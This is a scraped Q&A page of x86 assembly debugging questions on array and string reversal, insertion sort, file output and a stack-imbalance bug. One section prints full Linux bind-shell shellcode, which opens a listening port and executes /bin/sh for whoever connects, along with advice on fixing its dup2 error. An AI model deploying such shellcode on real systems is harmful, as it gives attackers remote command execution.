Faulty reversing array in assembly - linux

Ah well I want to make procedure that reverses array
so I made this
section .data
rev:
push eax
push ebx
push esi
push ecx
mov ebx,ecx
mov eax,esi
Lrev_1:
push dword[esi]
inc esi
loop Lrev_1
mov ecx,ebx
Lrev_2:
pop dword[eax]
inc eax
loop Lrev_2
pop ecx
pop esi
pop ebx
pop eax
ret
msg dd "Hello"
section .text
global _start
_start:
mov esi,msg
mov ecx,5
call rev
mov eax,4
mov ebx,1
mov ecx,msg
mov edx,5
int 80h
mov eax,1
xor ebx,ebx
int 80h
And It perfectly works fine but as you can see I made it to push all the contents of memory address to stack which can be slow (like turtle)
So I try to use this way
And then I implemented it as I can into these 3 ways
section .data
rev1:
push eax
push ebx
push esi
push edi
Lrev1:
cmp esi,edi
jge Lrev1_out
mov eax,dword[esi]
mov ebx,dword[edi]
mov dword[esi],ebx
mov dword[edi],eax
inc esi
dec edi
jmp Lrev1
Lrev1_out:
pop edi
pop esi
pop ebx
pop eax
ret
rev2:
push esi
push edi
Lrev2:
cmp esi,edi
jge Lrev2_out
push dword[esi]
push dword[edi]
pop dword[esi]
pop dword[edi]
pop edi
pop esi
ret
rev3:
push eax
push esi
push edi
Lrev3:
cmp esi,edi
jge Lrev3_out
mov eax,dword[esi]
xchg eax,dword[edi]
mov dword[esi],eax
inc esi
dec edi
jmp Lrev3
Lrev3_out:
pop edi
pop esi
pop eax
ret
msg dd "Hello"
section .text
global _start
_start:
mov esi,msg
mov edi,esi
add edi,4
;if I call rev1 or rev2 here msg will be reverse into oH for me
;if I call rev3 here msg will be reversed into oHel for me
mov eax,4
mov ebx,1
mov ecx,msg
mov edx,5
int 80h
mov eax,1
xor ebx,ebx
int 80h
Well, My expected result is olleH.But then I got the unexpected result.
Did I miss something? Or just added something even more?
to get the true reversed result

It looks like you're trying to reverse bytes that you load as 32 bit double words instead.
Maybe this will help for rev1?
mov al,[esi]
mov bl,[edi]
mov [esi],bl
mov [edi],al
You have similar problems in rev2 and rev3. Also XCHG with memory has implications far beyond just exchanging reg<->mem... I'd be careful with that instruction.

Related

String Reverse in Assembly language x86

I'm new to assembly language and I have this code that is suppose to reverse the string length, now I know I'm close but the program keeps crashing on me for whatever reason that is. The problem is in the STRREV PROC. What am I doing wrong in this code?
INCLUDE Irvine32.inc
.data
prompt BYTE "Enter String: ", 0
response BYTE 50 DUP(0)
message BYTE " Message entered. ",0
.code
swap MACRO a,b
xor a,b
xor b,a
xor a,b
endM
STRQRY PROC
push ebp
mov ebp, esp
push edx
push ecx
mov edx, [ebp+8]
call writestring
mov ecx, SIZEOF response
mov edx, OFFSET response
call readstring
pop ecx
pop edx
pop ebp
ret 4
STRQRY ENDP
STRLEN PROC
push ebp
mov ebp, esp
push ebx
push ecx
mov edx,[ebp+16]
mov eax, 0
counter:
mov cl,[edx+eax]
cmp cl, 0
JE done
inc eax
jmp counter
done:
pop ecx
pop ebx
pop ebp
ret 4
STRLEN ENDP
STRREV proc
push ebp
mov ebp, esp
push OFFSET response
call STRLEN
mov edx, [ebp+8]
mov esi, 0
dec eax
reverseloop:
mov ah, [edx+esi]
mov al, [edx+eax]
swap ah, al
mov [edx+esi],ah
mov [edx+eax],al
inc esi
dec eax
cmp esi, eax
jb reverseloop
ja finish
finish:
pop ebp
ret 4
STRREV endp
main PROC
push OFFSET prompt
call STRQRY
call writedec
mov edx,OFFSET message
call WriteString
push eax
call STRREV
mov edx, OFFSET response
call WriteString
exit
main ENDP
END main
The main problem in your function is changing AL and AH register and then using EAX as pointer. I decided to write a new function based on your code, read it carefully and debug your code using the right emulator.
STRREV proc
;opening the function
push ebp
mov ebp, esp
push OFFSET response
call STRLEN
mov edx, [ebp+8] ;edx = offset string to reverse
mov esi, 0
dec eax
mov ebx,edx ;ebx stores the pointer to the first character
add ebx,eax` ;now ebx store the pointer to the last character before the '$'
reverseloop:
mov ah, [edx] ;ah stores the value at string[loop count]
mov al, [ebx] ;al stores the value at string[len-loop count-1]
;"swap ah,al" is logiclly unnecessary
;better solution:
mov [ebx],ah ; string[loop count] = string[len-loop count-1]
mov [edx],al ; string[len-loop count-1] = string[loop count]
inc edx ;increment of the right-most pointer
dec ebx ;decrement of the right-most pointer
cmp ebx, eax ;compares the left-most pointer to the right-most
jb reverseloop
jmp finish ;"ja", there is no need to check a condition twice
finish:
pop ebp
ret 4
STRREV endp

operation size not specified

I have a problem with 32bit Assembly, assembling it with NASM on linux.
Here is my implementation of insertion sort
myInsertionSort:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, [ebp+12] ;put len in ecx, our loop variable
mov eax, 1 ; size of one spot in array, one byte
mov ebx, 0
mov esi, [ebp+8] ; the array
loop loop_1
loop_1:
cmp eax, ecx ; if we're done
jge done_1 ; then done with loop
push ecx ; we save len, because loop command decrements ecx
mov ecx, [esi+eax] ; ecx now array[i]
mov ebx, eax
dec ebx ; ebx is now eax-1, number of times we should go through inner loop
loop_2:
cmp ebx, 0 ; we don't use loop to not affect ecx so we use ebx and compare it manually with 0
jl done_2
cmp [esi+ebx], ecx ;we see if array[ebx] os ecx so we can exit the loop
jle done_2
mov edx, esi
add edx, ebx
push [edx] ; pushing our array[ebx] *****************************
add edx, eax
pop [edx] ; poping the last one *********************************
dec ebx ; decrementing the loop iterator
jmp loop_2 ; looping again
done_2:
mov [esi+ebx+1], ecx
inc eax ; incrementing iterator
pop ecx ; len of array to compare now to eax and see if we're done
jmp loop_1
done_1:
pop edi
pop esi
pop ebx
pop ebp ; we pop them in opposite to how we pushed (opposite order, it's the stack, LIFO)
ret
Now... When I try to compile my code with nasm, I get errors of "operation size not specified" on the lines containing asterisks in the comments :P
It's basic insertion sort and I'm not sure what could have gone wrong.
Enlighten me, please.
The data at [edx] could be anything, so its size is unknown to the assembler. You'll have to specify the size of the data you want to push/pop. For example, if you want to push/pop a dword (32 bits) you'd write:
push dword [edx]
pop dword [edx]
By the way, you can combine these lines:
mov edx, esi
add edx, ebx
into:
lea edx,[esi + ebx]

write number to file using NASM

How do I write a variable to a file using NASM?
For example, if I execute some mathematical operation - how do I write the result of the operation to write a file?
My file results have remained empty.
My code:
%include "io.inc"
section .bss
result db 2
section .data
filename db "Downloads/output.txt", 0
section .text
global CMAIN
CMAIN:
mov eax,5
add eax,17
mov [result],eax
PRINT_DEC 2,[result]
jmp write
write:
mov EAX, 8
mov EBX, filename
mov ECX, 0700
int 0x80
mov EBX, EAX
mov EAX, 4
mov ECX, [result]
int 0x80
mov EAX, 6
int 0x80
mov eax, 1
int 0x80
jmp exit
exit:
xor eax, eax
ret
You have to implement ito (integer to ascii) subsequently len for this manner. This code tested and works properly in Ubuntu.
section .bss
answer resb 64
section .data
filename db "./output.txt", 0
section .text
global main
main:
mov eax,5
add eax,44412
push eax ; Push the new calculated number onto the stack
call itoa
mov EAX, 8
mov EBX, filename
mov ECX, 0x0700
int 0x80
push answer
call len
mov EBX, EAX
mov EAX, 4
mov ECX, answer
movzx EDX, di ; move with extended zero edi. length of the string
int 0x80
mov EAX, 6
int 0x80
mov eax, 1
int 0x80
jmp exit
exit:
xor eax, eax
ret
itoa:
; Recursive function. This is going to convert the integer to the character.
push ebp ; Setup a new stack frame
mov ebp, esp
push eax ; Save the registers
push ebx
push ecx
push edx
mov eax, [ebp + 8] ; eax is going to contain the integer
mov ebx, dword 10 ; This is our "stop" value as well as our value to divide with
mov ecx, answer ; Put a pointer to answer into ecx
push ebx ; Push ebx on the field for our "stop" value
itoa_loop:
cmp eax, ebx ; Compare eax, and ebx
jl itoa_unroll ; Jump if eax is less than ebx (which is 10)
xor edx, edx ; Clear edx
div ebx ; Divide by ebx (10)
push edx ; Push the remainder onto the stack
jmp itoa_loop ; Jump back to the top of the loop
itoa_unroll:
add al, 0x30 ; Add 0x30 to the bottom part of eax to make it an ASCII char
mov [ecx], byte al ; Move the ASCII char into the memory references by ecx
inc ecx ; Increment ecx
pop eax ; Pop the next variable from the stack
cmp eax, ebx ; Compare if eax is ebx
jne itoa_unroll ; If they are not equal, we jump back to the unroll loop
; else we are done, and we execute the next few commands
mov [ecx], byte 0xa ; Add a newline character to the end of the character array
inc ecx ; Increment ecx
mov [ecx], byte 0 ; Add a null byte to ecx, so that when we pass it to our
; len function it will properly give us a length
pop edx ; Restore registers
pop ecx
pop ebx
pop eax
mov esp, ebp
pop ebp
ret
len:
; Returns the length of a string. The string has to be null terminated. Otherwise this function
; will fail miserably.
; Upon return. edi will contain the length of the string.
push ebp ; Save the previous stack pointer. We restore it on return
mov ebp, esp ; We setup a new stack frame
push eax ; Save registers we are going to use. edi returns the length of the string
push ecx
mov ecx, [ebp + 8] ; Move the pointer to eax; we want an offset of one, to jump over the return address
mov edi, 0 ; Set the counter to 0. We are going to increment this each loop
len_loop: ; Just a quick label to jump to
movzx eax, byte [ecx + edi] ; Move the character to eax.
movsx eax, al ; Move al to eax. al is part of eax.
inc di ; Increase di.
cmp eax, 0 ; Compare eax to 0.
jnz len_loop ; If it is not zero, we jump back to len_loop and repeat.
dec di ; Remove one from the count
pop ecx ; Restore registers
pop eax
mov esp, ebp ; Set esp back to what ebp used to be.
pop ebp ; Restore the stack frame
ret ; Return to caller

segmentation fault in port-binding shellcode

I am trying to open a listener using shellcode but i get segmentation error , i read that this error is due to writing into read only location in memory , and that -N option in the ld linker will solve it out which did not work for me.
the code :
BITS 32
global _start
_start:
xor eax,eax
xor ebx,ebx
cdq
push eax
push byte 0x01
push byte 0x02
mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax
push edx
push 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
push edx
push esi
mov ecx,esp
mov byte bl,0x04
mov al,102
int 80h
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,esp
xor ecx,ecx
mov cl,3
loop:
dec cl
mov al,63
int 80h
jnz loop
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 80h
i then run the following commands:
nasm -f elf file.asm
ld -N file.o -o file
when i run file i get segmentation error, please help .
Learn to use a debugger and comment your code. That said, the problem seems to be with the dup2 syscall getting bad argument, because esp that gets loaded into ebx is unlikely to be a valid descriptor. This results in an error return, which then screws up all further syscalls.

Loop/Input Logic Flow Issue (NASM x86 Assembly)

I have a program below that tries to take input from the user and repeat that same string until the user enters it again. (It's a personal learning project)
However, I am having some severe diffuculty in getting it to perform correctly. In a past thread here, you can see the input, pun intended, that other users have provided on this problem.
%include "system.inc"
section .data
greet: db 'Hello!', 0Ah, 'Please enter a word or character:', 0Ah
greetL: equ $-greet ;length of string
inform: db 'I will now repeat this until you type it back to me.', 0Ah
informL: equ $-inform
finish: db 'Good bye!', 0Ah
finishL: equ $-finish
newline: db 0Ah
newlineL: equ $-newline
section .bss
input: resb 40 ;first input buffer
check: resb 40 ;second input buffer
section .text
global _start
_start:
greeting:
mov eax, 4
mov ebx, 1
mov ecx, greet
mov edx, greetL
sys.write
getword:
mov eax, 3
mov ebx, 0
mov ecx, input
mov edx, 40
sys.read
sub eax, 1 ;remove the newline
push eax ;store length for later
instruct:
mov eax, 4
mov ebx, 1
mov ecx, inform
mov edx, informL
sys.write
pop edx ;pop length into edx
mov ecx, edx ;copy into ecx
push ecx ;store ecx again (needed multiple times)
mov eax, 4
mov ebx, 1
mov ecx, input
sys.write
mov eax, 4 ;print newline
mov ebx, 1
mov ecx, newline
mov edx, newlineL
sys.write
mov eax, 3 ;get the user's word
mov ebx, 0
mov ecx, check
mov edx, 40
sys.read
sub eax, 1
push eax
xor eax, eax
checker:
pop ecx ;length of check
pop ebx ;length of input
mov edx, ebx ;copy
cmp ebx, ecx ;see if input was the same as before
jne loop ;if not the same go to input again
mov ebx, check
mov ecx, input
secondcheck:
mov dl, [ebx]
cmp dl, [ecx]
jne loop
inc ebx
inc ecx
dec eax
jnz secondcheck
jmp done
loop:
pop edx
mov ecx, edx
push ecx
mov eax, 4
mov ebx, 1
mov ecx, check
sys.write ;repeat the word
mov eax, 4
mov ebx, 1
mov ecx, newline
mov edx, newlineL
sys.write
mov eax, 3 ;replace new input with old
mov ebx, 0
mov ecx, check
mov edx, 40
sys.read
jmp checker
done:
mov eax, 1
mov ebx, 0
sys.exit
Example output would yield:
Hello!
Please enter a word or character:
INPUT: Nick
I will now repeat this until you type it back to me.
Nick
INPUT: Nick
N
INPUT: Nick
INPUT: Nick
And that goes on forever until is ^C it to death. Any ideas on the problem?
Thanks.
instruct leaves two items on the stack, which are consumed by checker the first time round the loop. But they are not replaced for the case where you go round the loop again. This is the most fundamental problem in your code (there may be others).
You could find this by running with a debugger and watching the stack pointer esp; but it can be seen just by looking at the code -- if you take everything out except for the stack manipulation and branches, you can clearly see that the checker -> loop -> back to checker path pops three items but only pushes one:
greeting:
...
getword:
...
push eax ;store length for later
instruct:
...
pop edx ;pop length into edx
...
push ecx ;store ecx again (needed multiple times)
...
push eax
checker:
pop ecx ;length of check
pop ebx ;length of input
...
jne loop ;if not the same go to input again
...
secondcheck:
...
jne loop
...
jnz secondcheck
jmp done
loop:
pop edx
...
push ecx
...
jmp checker
done:
...
There are better ways to keep long-lived variables than trying to shuffle them around on the stack like this with push and pop.
Keep them in a data section (the .bss you already have would be suitable) instead of on the stack.
Allocate some space on the stack, and load/store them there directly. e.g. sub esp, 8 to reserve two 32-bit words, then access [esp] and [esp+4]. (The stack should be aligned to a 32-bit boundary, so always reserve a multiple of 4 bytes.) Remember to add esp, 8 when you've finished using it.
(These are essentially the equivalent of what a C compiler would do for global (or static) variables, and local variables, respectively.)

Resources